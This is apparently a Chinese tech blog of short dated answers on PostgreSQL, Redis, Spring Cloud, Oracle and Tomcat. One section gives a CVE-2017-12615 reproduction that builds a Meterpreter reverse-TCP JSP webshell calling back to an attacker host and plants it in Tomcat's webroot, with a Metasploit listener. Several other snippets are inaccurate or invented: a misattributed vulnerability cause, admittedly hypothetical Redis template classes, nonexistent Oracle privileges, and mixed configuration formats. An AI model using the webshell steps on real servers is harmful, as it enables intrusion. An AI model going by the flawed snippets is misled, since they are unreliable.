2024-09-04



#!/bin/bash
# 安装PostgreSQL 14的脚本
 
# 更新系统包
sudo yum update -y
 
# 安装PostgreSQL的官方仓库
sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm
 
# 清除缓存
sudo yum clean all
 
# 安装PostgreSQL 14
sudo yum install -y postgresql14 postgresql14-server
 
# 初始化数据库
sudo /usr/pgsql-14/bin/postgresql-14-setup initdb
 
# 启动并设置开机自启动PostgreSQL服务
sudo systemctl enable postgresql-14
sudo systemctl start postgresql-14
 
# 确认PostgreSQL服务状态
sudo systemctl status postgresql-14
 
# 切换到postgres用户
sudo su - postgres
 
# 登录到PostgreSQL命令行
psql
 
# 退出PostgreSQL命令行
\q
 
# 退出postgres用户
exit

这段代码展示了如何在CentOS 7上安装PostgreSQL 14的过程。首先,更新系统包,然后安装PostgreSQL的官方仓库,接着安装PostgreSQL 14及其服务器组件,并初始化数据库。最后,启动PostgreSQL服务并设置开机自启动,并检查服务状态。

2024-09-04

这是一个关于Spring Cloud微服务架构中核心组件Nacos配置管理的教程。在这个教程中,我们将使用Spring Cloud和Nacos来管理微服务配置。




// 引入Spring Cloud和Nacos依赖
dependencies {
    implementation 'org.springframework.cloud:spring-cloud-starter-alibaba-nacos-config'
    implementation 'com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery'
}
 
// 配置Nacos作为配置中心
spring:
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8848 # Nacos服务器地址
      config:
        server-addr: 127.0.0.1:8848 # Nacos服务器地址
        file-extension: yaml # 指定配置文件的格式,可以是yaml或properties
        group: DEFAULT_GROUP # 配置分组
        namespace: 命名空间id # 配置命名空间,非必须
 
// 在微服务中使用配置管理
@RestController
public class ConfigController {
 
    @Value("${example.property}")
    private String property;
 
    @GetMapping("/property")
    public String getProperty() {
        return property;
    }
}

在这个代码实例中,我们首先添加了Spring Cloud和Nacos的依赖。然后在application.yaml配置文件中配置了Nacos作为配置中心。在微服务的控制器中,我们使用@Value注解来注入配置属性。这样,我们就可以通过Nacos来管理微服务的配置信息,并在运行时动态获取这些配置。

2024-09-04

报错信息:"ERROR org.springframework.boot.SpringApplication - Application run failed" 表示Spring Boot应用程序在启动时遇到了错误,无法正常运行。

解决方法:

  1. 查看错误日志:报错信息后面通常会有更具体的错误描述,例如异常堆栈信息。检查控制台输出或日志文件以获取详细错误信息。
  2. 检查配置文件:确保application.propertiesapplication.yml中的配置正确,没有语法错误。
  3. 依赖检查:确保pom.xml(Maven)或build.gradle(Gradle)中的Spring Boot依赖是最新的或正确的。
  4. 环境问题:检查JDK版本是否与Spring Boot版本兼容,并确保所需的环境变量(如数据库连接信息等)已正确配置。
  5. 主要配置类检查:确保你的主要配置类(通常标有@SpringBootApplication注解)没有错误。
  6. 自动配置问题:如果你使用了@EnableAutoConfiguration注解,确保没有与Spring Boot自动配置冲突的配置。
  7. 环境问题:如果错误与特定环境(如数据库连接、外部服务API等)有关,请确保这些服务可用并且配置正确。
  8. 测试:创建一个最小化的应用程序实例,确保它可以在没有外部依赖和配置要求的情况下运行。

如果以上步骤不能解决问题,可以在Stack Overflow等社区搜索错误信息或者提问以获得更具体的帮助。

2024-09-04

在Red Hat Linux 7.9上安装PostgreSQL 15.2和PostGIS 3.2.4,您可以遵循以下步骤:

  1. 安装PostgreSQL 15.2:

    • 使用YUM安装PostgreSQL:

      
      
      
      sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm
      sudo yum install -y postgresql15-server
    • 初始化并启动PostgreSQL服务:

      
      
      
      sudo /usr/pgsql-15/bin/postgresql-15-setup initdb
      sudo systemctl enable postgresql-15
      sudo systemctl start postgresql-15
  2. 安装PostGIS 3.2.4:

    • 首先,确保您的系统已经安装了EPEL仓库,如果没有,请使用以下命令安装:

      
      
      
      sudo yum install epel-release
    • 安装PostGIS和其依赖:

      
      
      
      sudo yum install -y postgis32_15
    • 启用PostGIS扩展:

      
      
      
      CREATE EXTENSION postgis;

请注意,具体的安装步骤可能会随着操作系统版本和软件版本的更新而变化。如果遇到任何问题,请参考官方文档或社区支持资源。

2024-09-04



# 导入必要的模块
import redis
 
# 连接到Redis服务器
r = redis.Redis(host='localhost', port=6379, db=0)
 
# 设置键值对
r.set('key', 'value')
 
# 获取并打印键对应的值
value = r.get('key')
print(value)
 
# 使用Redis的列表(list)功能
r.lpush('mylist', 'element1')
r.lpush('mylist', 'element2')
 
# 获取并打印列表中的元素
mylist = r.lrange('mylist', 0, -1)
print(mylist)
 
# 使用Redis的散列(hash)功能
r.hset('myhash', 'field1', 'value1')
r.hset('myhash', 'field2', 'value2')
 
# 获取并打印散列中的字段和值
myhash = r.hgetall('myhash')
print(myhash)
 
# 使用Redis的集合(set)功能
r.sadd('myset', 'member1')
r.sadd('myset', 'member2')
 
# 获取并打印集合中的成员
myset = r.smembers('myset')
print(myset)
 
# 使用Redis的有序集合(sorted set)功能
r.zadd('myzset', {'member1': 1, 'member2': 2})
 
# 获取并打印有序集合中的成员和分数
myzset = r.zrange('myzset', 0, -1, withscores=True)
print(myzset)

这段代码展示了如何使用Python的redis模块来连接Redis服务器,并执行基本的Redis命令,包括设置键值对、操作列表、散列、集合和有序集合。代码中的每一个Redis命令都有详细的注释,方便理解。

2024-09-04

PostgreSQL中的HeapTupleData结构体定义了在堆存储中的基本元组格式。元组是PostgreSQL中表示单行数据的基本结构。

以下是HeapTupleData结构体的核心字段:




typedef struct HeapTupleFields {
    TransactionId t_xmin;    /* 行的事务标识符,行的创建者 */
    TransactionId t_xmax;    /* 行的事务标识符,行的删除者或者更新者 */
    union {
        CommandId t_cid;      /* 命令标识符,行的插入者或更新者 */
        TransactionId t_xvac; /* 空间空洞的清理者 */
    } t_field3;
} HeapTupleFields;
 
typedef struct HeapTupleData {
    uint32_t t_len;       /* 元组的总长度(包括头部) */
    ItemPointerData t_self; /* 元组在表中的位置 */
    Oid t_tableOid;       /* 元组所属的表的OID */
    HeapTupleFields t_field; /* 事务和命令标识符 */
} HeapTupleData;

这里的t_xmint_xmax字段分别记录了元组的插入和删除事务ID,或者更新事务ID。t_cid字段记录了命令ID,用于区分同一事务中的多个操作。

在实际编程中,你通常会使用HeapTuple类型的指针来引用HeapTupleData结构体,以便于操作。

例如,以下是一个简单的示例,展示如何在C语言中创建和使用HeapTupleData结构体:




#include <postgres.h>
#include <access/htup.h>
#include <access/xloginsert.h>
 
int main() {
    HeapTupleData tuple;
    tuple.t_len = 0; // 填充元组长度
    // 填充其他字段...
 
    // 假设我们有一个函数来设置元组的其他字段
    SetHeapTupleFields(&tuple);
 
    // 现在我们可以使用元组了
    // 比如,我们可以获取元组的OID
    Oid tupleOid = tuple.t_tableOid;
 
    return 0;
}

在实际的PostgreSQL代码库中,你会看到更多复杂的操作,如元组的插入、读取和更新,这些都是通过操作HeapTupleData结构体来完成的。

2024-09-04



-- 创建角色
CREATE ROLE "BI_ROLE";
 
-- 给角色授权
GRANT "SELECT_PRIV" TO "BI_ROLE";
GRANT "INSERT_PRIV" TO "BI_ROLE";
GRANT "UPDATE_PRIV" TO "BI_ROLE";
GRANT "DELETE_PRIV" TO "BI_ROLE";
 
-- 给用户授予角色
GRANT "BI_ROLE" TO "JOHN_DOE";
 
-- 撤销用户的角色
REVOKE "BI_ROLE" FROM "JOHN_DOE";
 
-- 删除角色
DROP ROLE "BI_ROLE";

这个例子展示了如何在Oracle数据库中创建一个名为BI_ROLE的角色,给这个角色授予SELECT_PRIV, INSERT_PRIV, UPDATE_PRIV, 和 DELETE_PRIV权限,然后将这个角色授予给用户JOHN_DOE。最后,如果需要,可以撤销用户的角色,并且在不再需要时删除角色。

2024-09-04

UnknownContentTypeException 是一个在 Spring Cloud 微服务架构中常见的异常,通常发生在使用 Spring Cloud Netflix 的 Feign 客户端调用远程服务时。

异常解释:

当 Feign 客户端尝试发送一个请求,但是服务器返回的响应内容类型(Content-Type)不能被客户端识别或者没有设置Content-Type时,会抛出此异常。

解决方法:

  1. 检查服务提供者的响应,确保其返回的响应头中包含正确的 Content-Type,例如 application/json
  2. 如果服务提供者返回的是非标准的或者未知的 Content-Type,你可以在 Feign 客户端的配置中添加一个 Contract,来自定义解析响应的方式。
  3. 确保你的 Feign 客户端配置了正确的解码器(Decoder),以便能够处理服务提供者返回的不同类型的响应数据。
  4. 如果你确实想要 Feign 客户端能够处理未知的 Content-Type,你可以自定义一个 ErrorDecoder 来处理这种异常情况。

示例代码:




@FeignClient(name = "service-provider", configuration = FeignClientConfiguration.class)
public interface ServiceProviderClient {
    // 你的接口声明
}
 
@Configuration
public class FeignClientConfiguration {
 
    @Bean
    public Decoder feignDecoder() {
        return new ResponseEntityDecoder(new SpringDecoder(feignHttpMessageConverter()));
    }
 
    private ObjectFactory<HttpMessageConverters> messageConverters() {
        return () -> new HttpMessageConverters(new YourCustomConverter());
    }
 
    private Client feignClient() {
        return new Client.Default(Request.Options.DEFAULT, new OkHttpClient());
    }
}

在这个配置中,你需要替换 YourCustomConverter 为你自己的消息转换器,用来处理特定的 Content-Type

2024-09-04

Tomcat任意文件写入漏洞(CVE-2017-12615)是由于Tomcat服务器中的commons-fileupload库处理multipart/form-data类型的数据请求不当,攻击者可以通过构造特殊的请求,将文件内容写入到服务器上任意位置的文件中。

以下是复现该漏洞的步骤:

  1. 确保你的环境中安装了Docker,因为我们将使用Docker来运行Tomcat服务。
  2. 从Github获取相关的漏洞复现环境:

    
    
    
    git clone https://github.com/fofapro/vulnerabilities-lab.git
    cd vulnerabilities-lab/CVE-2017-12615
  3. 构建并运行Tomcat容器:

    
    
    
    docker-compose up -d
  4. 访问Tomcat服务,默认情况下,你可以通过浏览器打开 http://localhost:8080 进行访问。
  5. 使用msfvenom生成一个Webshell,并将其保存到当前目录:

    
    
    
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your-IP-Address> LPORT=4444 -f jsp > shell.jsp

    注意替换<Your-IP-Address>为你的IP地址,端口4444是用于和Metasploit进行通信的。

  6. 使用Docker命令将生成的shell.jsp上传到Tomcat服务器:

    
    
    
    docker exec -it $(docker ps -q) cat /shell.jsp | docker exec -i $(docker ps -q) bash -c 'cat > /usr/local/tomcat/webapps/ROOT/shell.jsp'
  7. 现在你应该可以在Tomcat的根目录看到shell.jsp文件。
  8. 启动Metasploit并设置监听器:

    
    
    
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST <Your-IP-Address>
    set LPORT 4444
    exploit -j
  9. 最后,你可以通过访问 http://localhost:8080/shell.jsp 触发Webshell,并与容器中的Windows系统建立会话。

注意:在实际的渗透测试中,确保你在进行操作前已经得到了授权,并且在完成后进行清理,以避免对服务器安全造成不必要的风险。

2024-09-04

Spring Boot 整合 RedisSearch 和 RedisJSON 的方法通常涉及到配置和使用 Spring Data Redis 相关的模块。以下是一个简单的例子,展示如何在 Spring Boot 应用中配置和使用 RedisSearch 和 RedisJSON。

首先,在 pom.xml 中添加依赖:




<!-- Redis 基础依赖 -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>
<!-- RedisSearch 依赖 -->
<dependency>
    <groupId>io.redis.client</groupId>
    <artifactId>redis-client</artifactId>
    <version>版本号</version>
</dependency>
<!-- RedisJSON 依赖 -->
<dependency>
    <groupId>com.redislabs</groupId>
    <artifactId>redisjson</artifactId>
    <version>版本号</version>
</dependency>

然后,在 application.propertiesapplication.yml 中配置 Redis 连接信息:




# application.properties 示例
spring.redis.host=localhost
spring.redis.port=6379

接下来,你可以创建一个配置类来配置 Redis 的客户端,并使用 RedisSearch 和 RedisJSON 的 API 进行操作。




@Configuration
public class RedisConfig {
 
    @Bean
    public RedisConnectionFactory redisConnectionFactory() {
        return new LettuceConnectionFactory(); // 或者其他的连接工厂实现
    }
 
    // 如果需要使用 RedisSearch,可以配置相关的模板
    @Bean
    public RedisSearchTemplate redisSearchTemplate(RedisConnectionFactory factory) {
        return new RedisSearchTemplate(factory);
    }
 
    // 如果需要使用 RedisJSON,可以配置相关的模板
    @Bean
    public RedisJSONTemplate redisJSONTemplate(RedisConnectionFactory factory) {
        return new RedisJSONTemplate(factory);
    }
}

最后,你可以在你的服务中使用这些模板来执行 RedisSearch 和 RedisJSON 的操作。




@Service
public class RedisSearchService {
 
    @Autowired
    private RedisSearchTemplate redisSearchTemplate;
 
    // 使用 RedisSearch 的方法
    public void useRedisSearch() {
        // 创建索引,添加文档等操作
    }
}
 
@Service
public class RedisJSONService {
 
    @Autowired
    private RedisJSONTemplate redisJSONTemplate;
 
    // 使用 RedisJSON 的方法
    public void useRedisJSON() {
        // 使用 JSON 操作,如设置 JSON 值,获取 JSON 值等
    }
}

请注意,上述代码中的 RedisSearchTemplateRedisJSONTemplate 是假设的模板类,你需要根据实际的 Redis 客户端库来实现。确保你使用的库支持 RedisSearch 和 RedisJSON 的相关命令。

以上代码提供了整合 RedisSearch 和 RedisJSON 的基本框架。根据你的具体需求,你可能需要实现更多的配置和逻辑。